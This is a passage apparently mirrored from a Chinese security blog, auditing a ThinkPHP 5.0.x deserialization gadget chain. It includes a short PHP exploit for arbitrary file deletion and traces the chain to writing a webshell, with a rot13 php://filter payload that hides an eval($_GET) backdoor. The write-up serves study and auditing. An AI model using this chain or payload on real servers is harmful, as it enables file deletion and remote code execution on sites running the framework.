zoukankan      html  css  js  c++  java
  • thinkphp5.0.X反序列化利用链审计

    前言

    看完了thinkphp5.1.X反序列化利用链,现在来看thinkphp5.0.X反序列化利用链,难度的话要比上一个要高一些,这才好玩233,总呆在舒适区也没啥意思。

    0x01

    安装compose一把梭

    composer create-project topthink/think=5.0.14 tp5.0.14
    

    环境:
    PHP-7.0.12-NTS + Apache

    在5.1版本中我们pop链的出口是Request类的__call方法,可以直接调用,但是在5.0中
    $hook[$method]处的写法不一样,在5.1.x中是$this->$hook[$method],这里对于我们来说是可控的,在5.0.x中的写法是self::$hook[$method]这里是const类型的,所以是不可控的。所以我们不能使用Rquest类作为一个出口了,那就需要找其他可利用的 __call 方法。
    这里我们利用的
    thinkphp/library/think/console/Output.php,Output类中的__call方法后续可以当跳板。

    择Output类中的__call方法
    POP链入口点依旧是
     thinkprocesspipes:__destruct 方法

    通过上篇文章就已经学习到了
    可以看到有一个unlink函数,如果我们能够控制$filename,就可以达到任意文件删除。
    exp:

    <?php
    namespace thinkprocesspipes;
    class Pipes{
    }
    
    class Windows extends Pipes
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=['D:PHPSTUDY2018PHPTutorialWWW	p5shell.php'];
        }
    }
    
    echo base64_encode(serialize(new Windows()));
    

    自然而然,我们开始寻找RCE点看file_exists这个函数。

    这里就直接写回溯过程了:

    __toString -> toJson -> toArrary
    

    需要注意的是在5.0.x没有含有__toString方法的Conversion类,
    这里我们选择 thinkModel 类来触发。由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如: thinkModelPivot 类

    在toArray方法中,我们要找到可以利用的类似$a->function($b)方法,而且$a,$b必须可控,能让我们执行__call。
    和之前一样,分析一下具体实现toArray类的代码

    Model抽象类的toArray方法,存在三个地方可以执行__call。
    这里我们使用的_call方法已经确定,
    thinkconsoleOutput:__call() 方法
    我们需要通过第三个来触发__call() 方法

    $item[$key] = $value ? $value->getAttr($attr) : null;
    

    这里要求$value和$attr都是可控的
    依次跟进去看。
    先看value

    关键代码

    $modelRelation = $this->$relation();
    $value         = $this->getRelationData($modelRelation);
    

    我们先看$modelRelation这个变量怎么来的:

    看$name:

    $name可控:$this->append可控

    $modelRelation也就是 thinkModel 类任意方法的返回结果
    这里选择
    Model->getError方法,因为它的返回值error是非常简单可控的

    再来看getRelationData

    看到传入的$modelRelation需要Relation类型(可以通过$this->error来控制这个类)

    $this->parent 肯定是 thinkconsoleOutput 类对象,也就是$value->getAttr($attr)中的$value,这里要求是Relation类(这里可以通过$this->error来控制这个类)。
    我们来看Relation类中的ifSelfRelation

    isSelfRelation方法简单可控

    getModel方法简单可控

    ps:poc中就是把$this->query设成Output,直接跳到Output类

    这里的get_class方法要求$modelRelation->getModel()和$this->parent为同类,也就是要求$value->getAttr($attr)中的$value和上面简单可控的model为同类,这样我们就控制了$value->getAttr($attr)中的$value。
    下面看$attr

    $attr值,由$bindAttr = $modelRelation->getBindAttr();控制

    全局搜索getBindAttr方法
    存在这个方法的Relation的子类为OnetoOne类,这里的binAttr简单可控

    OnetoOne也是抽象类,进行全局搜索OnetoOne的子类,最后选定这里的Relation子类为HasOne
    这里解释一下因为是抽象类,我们得找一个能具体实现它方法的子类,所以我们选择了HasOne
    到此

    我们已经能够执行$value->getAttr($attr)
    当代码执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法,下面我们来看一下我们使用的魔术方法。

    跟进block方法

    !

    这里$this->handle可控,全局搜索write方法

    类: Memcached
    搜索set方法

    这里可以进行文件写入
    怎么写呢?我们继续看细节
    首先$filename由$this -> getCacheKey方法控制。
    跟进

    $filename可控

    下面要看的就是$data了

    注意这里:

    调用set方法中的参数来自先前调用的write方法只能为true,且这里$expire只能为数值

    这样就不能写shell。

    继续回去看

    有个setTagItem方法
    跟进发现

    会再执行一次set方法,且这里文件内容$value通过$name赋值(文件名)

    $filename可控且可以利用伪协议绕过中间的exit
    最后我们选择rot13和伪协议绕过这个东西

    我们把$option['config']设置为

    php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>
    

    最后马的文件名为‘‘.md5(‘tag_’.md5($tag)).’.php’。

    到此,整个POP链构造完成,
    图片来源:
    https://www.anquanke.com/post/id/196364

    POC就不放了,看了一下还是很好找的
    其实实战价值我觉得不是太高,一条鸡肋反序列化链,哪个程序员允许我们控制整个路径或者反序列化过程。。。
    最后要是windows系统poc利用失败(Windows系统里面创建不了含有某些特殊字符的文件),换个Linux

    主要还是用来锻炼审计能力
    今天接了一个给公司出题的活,emm100道题。。赚点零花钱两星期内应该不会更博了233

    参考

    https://www.anquanke.com/post/id/196364

    http://blog.ydspoplar.top/2020/01/31/thinkphp5.0.x-反序列化/

  • 相关阅读:
    比SRCNN效果好的传统超分辨率算法汇总
    CSS3 2D转换
    CSS3 文本效果
    CSS3 Gradients(渐变)
    CSS3 背景
    CSS3 圆角
    CSS3 边框
    CSS3 简介
    CSS 属性选择器
    CSS 媒体类型
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12663572.html
Copyright © 2011-2022 走看看